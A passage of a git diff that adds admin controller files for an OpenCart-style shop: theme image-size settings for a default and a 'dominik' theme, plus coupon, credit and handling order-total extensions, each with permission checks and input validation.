+ $data['theme_default_image_additional_height'] = $setting_info['theme_default_image_additional_height'];
+ } else {
+ $data['theme_default_image_additional_height'] = 74;
+ }
+
+ if (isset($this->request->post['theme_default_image_related_width'])) {
+ $data['theme_default_image_related_width'] = $this->request->post['theme_default_image_related_width'];
+ } elseif (isset($setting_info['theme_default_image_related_width'])) {
+ $data['theme_default_image_related_width'] = $setting_info['theme_default_image_related_width'];
+ } else {
+ $data['theme_default_image_related_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_related_height'])) {
+ $data['theme_default_image_related_height'] = $this->request->post['theme_default_image_related_height'];
+ } elseif (isset($setting_info['theme_default_image_related_height'])) {
+ $data['theme_default_image_related_height'] = $setting_info['theme_default_image_related_height'];
+ } else {
+ $data['theme_default_image_related_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_default_image_compare_width'])) {
+ $data['theme_default_image_compare_width'] = $this->request->post['theme_default_image_compare_width'];
+ } elseif (isset($setting_info['theme_default_image_compare_width'])) {
+ $data['theme_default_image_compare_width'] = $setting_info['theme_default_image_compare_width'];
+ } else {
+ $data['theme_default_image_compare_width'] = 90;
+ }
+
+ if (isset($this->request->post['theme_default_image_compare_height'])) {
+ $data['theme_default_image_compare_height'] = $this->request->post['theme_default_image_compare_height'];
+ } elseif (isset($setting_info['theme_default_image_compare_height'])) {
+ $data['theme_default_image_compare_height'] = $setting_info['theme_default_image_compare_height'];
+ } else {
+ $data['theme_default_image_compare_height'] = 90;
+ }
+
+ if (isset($this->request->post['theme_default_image_wishlist_width'])) {
+ $data['theme_default_image_wishlist_width'] = $this->request->post['theme_default_image_wishlist_width'];
+ } elseif (isset($setting_info['theme_default_image_wishlist_width'])) {
+ $data['theme_default_image_wishlist_width'] = $setting_info['theme_default_image_wishlist_width'];
+ } else {
+ $data['theme_default_image_wishlist_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_wishlist_height'])) {
+ $data['theme_default_image_wishlist_height'] = $this->request->post['theme_default_image_wishlist_height'];
+ } elseif (isset($setting_info['theme_default_image_wishlist_height'])) {
+ $data['theme_default_image_wishlist_height'] = $setting_info['theme_default_image_wishlist_height'];
+ } else {
+ $data['theme_default_image_wishlist_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_cart_width'])) {
+ $data['theme_default_image_cart_width'] = $this->request->post['theme_default_image_cart_width'];
+ } elseif (isset($setting_info['theme_default_image_cart_width'])) {
+ $data['theme_default_image_cart_width'] = $setting_info['theme_default_image_cart_width'];
+ } else {
+ $data['theme_default_image_cart_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_cart_height'])) {
+ $data['theme_default_image_cart_height'] = $this->request->post['theme_default_image_cart_height'];
+ } elseif (isset($setting_info['theme_default_image_cart_height'])) {
+ $data['theme_default_image_cart_height'] = $setting_info['theme_default_image_cart_height'];
+ } else {
+ $data['theme_default_image_cart_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_default_image_location_width'])) {
+ $data['theme_default_image_location_width'] = $this->request->post['theme_default_image_location_width'];
+ } elseif (isset($setting_info['theme_default_image_location_width'])) {
+ $data['theme_default_image_location_width'] = $setting_info['theme_default_image_location_width'];
+ } else {
+ $data['theme_default_image_location_width'] = 268;
+ }
+
+ if (isset($this->request->post['theme_default_image_location_height'])) {
+ $data['theme_default_image_location_height'] = $this->request->post['theme_default_image_location_height'];
+ } elseif (isset($setting_info['theme_default_image_location_height'])) {
+ $data['theme_default_image_location_height'] = $setting_info['theme_default_image_location_height'];
+ } else {
+ $data['theme_default_image_location_height'] = 50;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/theme/default', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/theme/default')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['theme_default_product_limit']) {
+ $this->error['product_limit'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_default_product_description_length']) {
+ $this->error['product_description_length'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_default_image_category_width'] || !$this->request->post['theme_default_image_category_height']) {
+ $this->error['image_category'] = $this->language->get('error_image_category');
+ }
+
+ if (!$this->request->post['theme_default_image_manufacturer_width'] || !$this->request->post['theme_default_image_manufacturer_height']) {
+ $this->error['image_manufacturer'] = $this->language->get('error_image_manufacturer');
+ }
+
+ if (!$this->request->post['theme_default_image_thumb_width'] || !$this->request->post['theme_default_image_thumb_height']) {
+ $this->error['image_thumb'] = $this->language->get('error_image_thumb');
+ }
+
+ if (!$this->request->post['theme_default_image_popup_width'] || !$this->request->post['theme_default_image_popup_height']) {
+ $this->error['image_popup'] = $this->language->get('error_image_popup');
+ }
+
+ if (!$this->request->post['theme_default_image_product_width'] || !$this->request->post['theme_default_image_product_height']) {
+ $this->error['image_product'] = $this->language->get('error_image_product');
+ }
+
+ if (!$this->request->post['theme_default_image_additional_width'] || !$this->request->post['theme_default_image_additional_height']) {
+ $this->error['image_additional'] = $this->language->get('error_image_additional');
+ }
+
+ if (!$this->request->post['theme_default_image_related_width'] || !$this->request->post['theme_default_image_related_height']) {
+ $this->error['image_related'] = $this->language->get('error_image_related');
+ }
+
+ if (!$this->request->post['theme_default_image_compare_width'] || !$this->request->post['theme_default_image_compare_height']) {
+ $this->error['image_compare'] = $this->language->get('error_image_compare');
+ }
+
+ if (!$this->request->post['theme_default_image_wishlist_width'] || !$this->request->post['theme_default_image_wishlist_height']) {
+ $this->error['image_wishlist'] = $this->language->get('error_image_wishlist');
+ }
+
+ if (!$this->request->post['theme_default_image_cart_width'] || !$this->request->post['theme_default_image_cart_height']) {
+ $this->error['image_cart'] = $this->language->get('error_image_cart');
+ }
+
+ if (!$this->request->post['theme_default_image_location_width'] || !$this->request->post['theme_default_image_location_height']) {
+ $this->error['image_location'] = $this->language->get('error_image_location');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/theme/dominik.php b/public/admin/controller/extension/theme/dominik.php
new file mode 100644
index 0000000..1c8c2b2
--- /dev/null
+++ b/public/admin/controller/extension/theme/dominik.php
@@ -0,0 +1,414 @@
+load->language('extension/theme/dominik');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('theme_dominik', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['product_limit'])) {
+ $data['error_product_limit'] = $this->error['product_limit'];
+ } else {
+ $data['error_product_limit'] = '';
+ }
+
+ if (isset($this->error['product_description_length'])) {
+ $data['error_product_description_length'] = $this->error['product_description_length'];
+ } else {
+ $data['error_product_description_length'] = '';
+ }
+
+ if (isset($this->error['image_category'])) {
+ $data['error_image_category'] = $this->error['image_category'];
+ } else {
+ $data['error_image_category'] = '';
+ }
+
+ if (isset($this->error['image_manufacturer'])) {
+ $data['error_image_manufacturer'] = $this->error['image_manufacturer'];
+ } else {
+ $data['error_image_manufacturer'] = '';
+ }
+
+ if (isset($this->error['image_thumb'])) {
+ $data['error_image_thumb'] = $this->error['image_thumb'];
+ } else {
+ $data['error_image_thumb'] = '';
+ }
+
+ if (isset($this->error['image_popup'])) {
+ $data['error_image_popup'] = $this->error['image_popup'];
+ } else {
+ $data['error_image_popup'] = '';
+ }
+
+ if (isset($this->error['image_product'])) {
+ $data['error_image_product'] = $this->error['image_product'];
+ } else {
+ $data['error_image_product'] = '';
+ }
+
+ if (isset($this->error['image_additional'])) {
+ $data['error_image_additional'] = $this->error['image_additional'];
+ } else {
+ $data['error_image_additional'] = '';
+ }
+
+ if (isset($this->error['image_related'])) {
+ $data['error_image_related'] = $this->error['image_related'];
+ } else {
+ $data['error_image_related'] = '';
+ }
+
+ if (isset($this->error['image_compare'])) {
+ $data['error_image_compare'] = $this->error['image_compare'];
+ } else {
+ $data['error_image_compare'] = '';
+ }
+
+ if (isset($this->error['image_wishlist'])) {
+ $data['error_image_wishlist'] = $this->error['image_wishlist'];
+ } else {
+ $data['error_image_wishlist'] = '';
+ }
+
+ if (isset($this->error['image_cart'])) {
+ $data['error_image_cart'] = $this->error['image_cart'];
+ } else {
+ $data['error_image_cart'] = '';
+ }
+
+ if (isset($this->error['image_location'])) {
+ $data['error_image_location'] = $this->error['image_location'];
+ } else {
+ $data['error_image_location'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/theme/dominik', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/theme/dominik', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=theme', true);
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $setting_info = $this->model_setting_setting->getSetting('theme_dominik', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['theme_dominik_directory'])) {
+ $data['theme_dominik_directory'] = $this->request->post['theme_dominik_directory'];
+ } elseif (isset($setting_info['theme_dominik_directory'])) {
+ $data['theme_dominik_directory'] = $setting_info['theme_dominik_directory'];
+ } else {
+ $data['theme_dominik_directory'] = 'dominik';
+ }
+
+ $data['directories'] = array();
+
+ $directories = glob(DIR_CATALOG . 'view/theme/*', GLOB_ONLYDIR);
+
+ foreach ($directories as $directory) {
+ $data['directories'][] = basename($directory);
+ }
+
+ if (isset($this->request->post['theme_dominik_product_limit'])) {
+ $data['theme_dominik_product_limit'] = $this->request->post['theme_dominik_product_limit'];
+ } elseif (isset($setting_info['theme_dominik_product_limit'])) {
+ $data['theme_dominik_product_limit'] = $setting_info['theme_dominik_product_limit'];
+ } else {
+ $data['theme_dominik_product_limit'] = 15;
+ }
+
+ if (isset($this->request->post['theme_dominik_status'])) {
+ $data['theme_dominik_status'] = $this->request->post['theme_dominik_status'];
+ } elseif (isset($setting_info['theme_dominik_status'])) {
+ $data['theme_dominik_status'] = $setting_info['theme_dominik_status'];
+ } else {
+ $data['theme_dominik_status'] = '';
+ }
+
+ if (isset($this->request->post['theme_dominik_product_description_length'])) {
+ $data['theme_dominik_product_description_length'] = $this->request->post['theme_dominik_product_description_length'];
+ } elseif (isset($setting_info['theme_dominik_product_description_length'])) {
+ $data['theme_dominik_product_description_length'] = $setting_info['theme_dominik_product_description_length'];
+ } else {
+ $data['theme_dominik_product_description_length'] = 100;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_category_width'])) {
+ $data['theme_dominik_image_category_width'] = $this->request->post['theme_dominik_image_category_width'];
+ } elseif (isset($setting_info['theme_dominik_image_category_width'])) {
+ $data['theme_dominik_image_category_width'] = $setting_info['theme_dominik_image_category_width'];
+ } else {
+ $data['theme_dominik_image_category_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_category_height'])) {
+ $data['theme_dominik_image_category_height'] = $this->request->post['theme_dominik_image_category_height'];
+ } elseif (isset($setting_info['theme_dominik_image_category_height'])) {
+ $data['theme_dominik_image_category_height'] = $setting_info['theme_dominik_image_category_height'];
+ } else {
+ $data['theme_dominik_image_category_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_manufacturer_width'])) {
+ $data['theme_dominik_image_manufacturer_width'] = $this->request->post['theme_dominik_image_manufacturer_width'];
+ } elseif (isset($setting_info['theme_dominik_image_manufacturer_width'])) {
+ $data['theme_dominik_image_manufacturer_width'] = $setting_info['theme_dominik_image_manufacturer_width'];
+ } else {
+ $data['theme_dominik_image_manufacturer_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_manufacturer_height'])) {
+ $data['theme_dominik_image_manufacturer_height'] = $this->request->post['theme_dominik_image_manufacturer_height'];
+ } elseif (isset($setting_info['theme_dominik_image_manufacturer_height'])) {
+ $data['theme_dominik_image_manufacturer_height'] = $setting_info['theme_dominik_image_manufacturer_height'];
+ } else {
+ $data['theme_dominik_image_manufacturer_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_thumb_width'])) {
+ $data['theme_dominik_image_thumb_width'] = $this->request->post['theme_dominik_image_thumb_width'];
+ } elseif (isset($setting_info['theme_dominik_image_thumb_width'])) {
+ $data['theme_dominik_image_thumb_width'] = $setting_info['theme_dominik_image_thumb_width'];
+ } else {
+ $data['theme_dominik_image_thumb_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_thumb_height'])) {
+ $data['theme_dominik_image_thumb_height'] = $this->request->post['theme_dominik_image_thumb_height'];
+ } elseif (isset($setting_info['theme_dominik_image_thumb_height'])) {
+ $data['theme_dominik_image_thumb_height'] = $setting_info['theme_dominik_image_thumb_height'];
+ } else {
+ $data['theme_dominik_image_thumb_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_popup_width'])) {
+ $data['theme_dominik_image_popup_width'] = $this->request->post['theme_dominik_image_popup_width'];
+ } elseif (isset($setting_info['theme_dominik_image_popup_width'])) {
+ $data['theme_dominik_image_popup_width'] = $setting_info['theme_dominik_image_popup_width'];
+ } else {
+ $data['theme_dominik_image_popup_width'] = 500;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_popup_height'])) {
+ $data['theme_dominik_image_popup_height'] = $this->request->post['theme_dominik_image_popup_height'];
+ } elseif (isset($setting_info['theme_dominik_image_popup_height'])) {
+ $data['theme_dominik_image_popup_height'] = $setting_info['theme_dominik_image_popup_height'];
+ } else {
+ $data['theme_dominik_image_popup_height'] = 500;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_product_width'])) {
+ $data['theme_dominik_image_product_width'] = $this->request->post['theme_dominik_image_product_width'];
+ } elseif (isset($setting_info['theme_dominik_image_product_width'])) {
+ $data['theme_dominik_image_product_width'] = $setting_info['theme_dominik_image_product_width'];
+ } else {
+ $data['theme_dominik_image_product_width'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_product_height'])) {
+ $data['theme_dominik_image_product_height'] = $this->request->post['theme_dominik_image_product_height'];
+ } elseif (isset($setting_info['theme_dominik_image_product_height'])) {
+ $data['theme_dominik_image_product_height'] = $setting_info['theme_dominik_image_product_height'];
+ } else {
+ $data['theme_dominik_image_product_height'] = 228;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_additional_width'])) {
+ $data['theme_dominik_image_additional_width'] = $this->request->post['theme_dominik_image_additional_width'];
+ } elseif (isset($setting_info['theme_dominik_image_additional_width'])) {
+ $data['theme_dominik_image_additional_width'] = $setting_info['theme_dominik_image_additional_width'];
+ } else {
+ $data['theme_dominik_image_additional_width'] = 74;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_additional_height'])) {
+ $data['theme_dominik_image_additional_height'] = $this->request->post['theme_dominik_image_additional_height'];
+ } elseif (isset($setting_info['theme_dominik_image_additional_height'])) {
+ $data['theme_dominik_image_additional_height'] = $setting_info['theme_dominik_image_additional_height'];
+ } else {
+ $data['theme_dominik_image_additional_height'] = 74;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_related_width'])) {
+ $data['theme_dominik_image_related_width'] = $this->request->post['theme_dominik_image_related_width'];
+ } elseif (isset($setting_info['theme_dominik_image_related_width'])) {
+ $data['theme_dominik_image_related_width'] = $setting_info['theme_dominik_image_related_width'];
+ } else {
+ $data['theme_dominik_image_related_width'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_related_height'])) {
+ $data['theme_dominik_image_related_height'] = $this->request->post['theme_dominik_image_related_height'];
+ } elseif (isset($setting_info['theme_dominik_image_related_height'])) {
+ $data['theme_dominik_image_related_height'] = $setting_info['theme_dominik_image_related_height'];
+ } else {
+ $data['theme_dominik_image_related_height'] = 80;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_compare_width'])) {
+ $data['theme_dominik_image_compare_width'] = $this->request->post['theme_dominik_image_compare_width'];
+ } elseif (isset($setting_info['theme_dominik_image_compare_width'])) {
+ $data['theme_dominik_image_compare_width'] = $setting_info['theme_dominik_image_compare_width'];
+ } else {
+ $data['theme_dominik_image_compare_width'] = 90;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_compare_height'])) {
+ $data['theme_dominik_image_compare_height'] = $this->request->post['theme_dominik_image_compare_height'];
+ } elseif (isset($setting_info['theme_dominik_image_compare_height'])) {
+ $data['theme_dominik_image_compare_height'] = $setting_info['theme_dominik_image_compare_height'];
+ } else {
+ $data['theme_dominik_image_compare_height'] = 90;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_wishlist_width'])) {
+ $data['theme_dominik_image_wishlist_width'] = $this->request->post['theme_dominik_image_wishlist_width'];
+ } elseif (isset($setting_info['theme_dominik_image_wishlist_width'])) {
+ $data['theme_dominik_image_wishlist_width'] = $setting_info['theme_dominik_image_wishlist_width'];
+ } else {
+ $data['theme_dominik_image_wishlist_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_wishlist_height'])) {
+ $data['theme_dominik_image_wishlist_height'] = $this->request->post['theme_dominik_image_wishlist_height'];
+ } elseif (isset($setting_info['theme_dominik_image_wishlist_height'])) {
+ $data['theme_dominik_image_wishlist_height'] = $setting_info['theme_dominik_image_wishlist_height'];
+ } else {
+ $data['theme_dominik_image_wishlist_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_cart_width'])) {
+ $data['theme_dominik_image_cart_width'] = $this->request->post['theme_dominik_image_cart_width'];
+ } elseif (isset($setting_info['theme_dominik_image_cart_width'])) {
+ $data['theme_dominik_image_cart_width'] = $setting_info['theme_dominik_image_cart_width'];
+ } else {
+ $data['theme_dominik_image_cart_width'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_cart_height'])) {
+ $data['theme_dominik_image_cart_height'] = $this->request->post['theme_dominik_image_cart_height'];
+ } elseif (isset($setting_info['theme_dominik_image_cart_height'])) {
+ $data['theme_dominik_image_cart_height'] = $setting_info['theme_dominik_image_cart_height'];
+ } else {
+ $data['theme_dominik_image_cart_height'] = 47;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_location_width'])) {
+ $data['theme_dominik_image_location_width'] = $this->request->post['theme_dominik_image_location_width'];
+ } elseif (isset($setting_info['theme_dominik_image_location_width'])) {
+ $data['theme_dominik_image_location_width'] = $setting_info['theme_dominik_image_location_width'];
+ } else {
+ $data['theme_dominik_image_location_width'] = 268;
+ }
+
+ if (isset($this->request->post['theme_dominik_image_location_height'])) {
+ $data['theme_dominik_image_location_height'] = $this->request->post['theme_dominik_image_location_height'];
+ } elseif (isset($setting_info['theme_dominik_image_location_height'])) {
+ $data['theme_dominik_image_location_height'] = $setting_info['theme_dominik_image_location_height'];
+ } else {
+ $data['theme_dominik_image_location_height'] = 50;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/theme/dominik', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/theme/dominik')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['theme_dominik_product_limit']) {
+ $this->error['product_limit'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_dominik_product_description_length']) {
+ $this->error['product_description_length'] = $this->language->get('error_limit');
+ }
+
+ if (!$this->request->post['theme_dominik_image_category_width'] || !$this->request->post['theme_dominik_image_category_height']) {
+ $this->error['image_category'] = $this->language->get('error_image_category');
+ }
+
+ if (!$this->request->post['theme_dominik_image_manufacturer_width'] || !$this->request->post['theme_dominik_image_manufacturer_height']) {
+ $this->error['image_manufacturer'] = $this->language->get('error_image_manufacturer');
+ }
+
+ if (!$this->request->post['theme_dominik_image_thumb_width'] || !$this->request->post['theme_dominik_image_thumb_height']) {
+ $this->error['image_thumb'] = $this->language->get('error_image_thumb');
+ }
+
+ if (!$this->request->post['theme_dominik_image_popup_width'] || !$this->request->post['theme_dominik_image_popup_height']) {
+ $this->error['image_popup'] = $this->language->get('error_image_popup');
+ }
+
+ if (!$this->request->post['theme_dominik_image_product_width'] || !$this->request->post['theme_dominik_image_product_height']) {
+ $this->error['image_product'] = $this->language->get('error_image_product');
+ }
+
+ if (!$this->request->post['theme_dominik_image_additional_width'] || !$this->request->post['theme_dominik_image_additional_height']) {
+ $this->error['image_additional'] = $this->language->get('error_image_additional');
+ }
+
+ if (!$this->request->post['theme_dominik_image_related_width'] || !$this->request->post['theme_dominik_image_related_height']) {
+ $this->error['image_related'] = $this->language->get('error_image_related');
+ }
+
+ if (!$this->request->post['theme_dominik_image_compare_width'] || !$this->request->post['theme_dominik_image_compare_height']) {
+ $this->error['image_compare'] = $this->language->get('error_image_compare');
+ }
+
+ if (!$this->request->post['theme_dominik_image_wishlist_width'] || !$this->request->post['theme_dominik_image_wishlist_height']) {
+ $this->error['image_wishlist'] = $this->language->get('error_image_wishlist');
+ }
+
+ if (!$this->request->post['theme_dominik_image_cart_width'] || !$this->request->post['theme_dominik_image_cart_height']) {
+ $this->error['image_cart'] = $this->language->get('error_image_cart');
+ }
+
+ if (!$this->request->post['theme_dominik_image_location_width'] || !$this->request->post['theme_dominik_image_location_height']) {
+ $this->error['image_location'] = $this->language->get('error_image_location');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/total/coupon.php b/public/admin/controller/extension/total/coupon.php
new file mode 100644
index 0000000..397e6cc
--- /dev/null
+++ b/public/admin/controller/extension/total/coupon.php
@@ -0,0 +1,73 @@
+load->language('extension/total/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_coupon', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/coupon', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/coupon', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_coupon_status'])) {
+ $data['total_coupon_status'] = $this->request->post['total_coupon_status'];
+ } else {
+ $data['total_coupon_status'] = $this->config->get('total_coupon_status');
+ }
+
+ if (isset($this->request->post['total_coupon_sort_order'])) {
+ $data['total_coupon_sort_order'] = $this->request->post['total_coupon_sort_order'];
+ } else {
+ $data['total_coupon_sort_order'] = $this->config->get('total_coupon_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/coupon', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/credit.php b/public/admin/controller/extension/total/credit.php
new file mode 100644
index 0000000..930d3cd
--- /dev/null
+++ b/public/admin/controller/extension/total/credit.php
@@ -0,0 +1,73 @@
+load->language('extension/total/credit');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_credit', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/credit', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/credit', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_credit_status'])) {
+ $data['total_credit_status'] = $this->request->post['total_credit_status'];
+ } else {
+ $data['total_credit_status'] = $this->config->get('total_credit_status');
+ }
+
+ if (isset($this->request->post['total_credit_sort_order'])) {
+ $data['total_credit_sort_order'] = $this->request->post['total_credit_sort_order'];
+ } else {
+ $data['total_credit_sort_order'] = $this->config->get('total_credit_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/total/credit', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/total/credit')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/total/handling.php b/public/admin/controller/extension/total/handling.php
new file mode 100644
index 0000000..123906c
--- /dev/null
+++ b/public/admin/controller/extension/total/handling.php
@@ -0,0 +1,95 @@
+load->language('extension/total/handling');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('total_handling', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/total/handling', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/total/handling', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=total', true);
+
+ if (isset($this->request->post['total_handling_total'])) {
+ $data['total_handling_total'] = $this->request->post['total_handling_total'];
+ } else {
+ $data['total_handling_total'] = $this->config->get('total_handling_total');
+ }
+
+ if (isset($this->request->post['total_handling_fee'])) {
+ $data['total_handling_fee'] = $this->request->post['total_handling_fee'];
+ } else {
+ $data['total_handling_fee'] = $this->config->get('total_handling_fee');
+ }
+
+ if (isset($this->request->post['total_handling_tax_class_id'])) {
+ $data['total_handling_tax_class_id'] = $this->request->post['total_handling_tax_class_id'];
+ } else {
+ $data['total_handling_tax_class_id'] = $this->config->get('total_handling_tax_class_id');
+ }
+
+ $this->load->model('localisation/tax_class');
+
+ $data['tax_classes'] = $this->model_localisation_tax_class->getTaxClasses();
+
+ if (isset($this->request->post['total_handling_status'])) {
+ $data['total_handling_status'] = $this->request->post['total_handling_status'];
+ } else {
+ $data['total_handling_status'] = $this->config->get('total_handling_status');
+ }
+
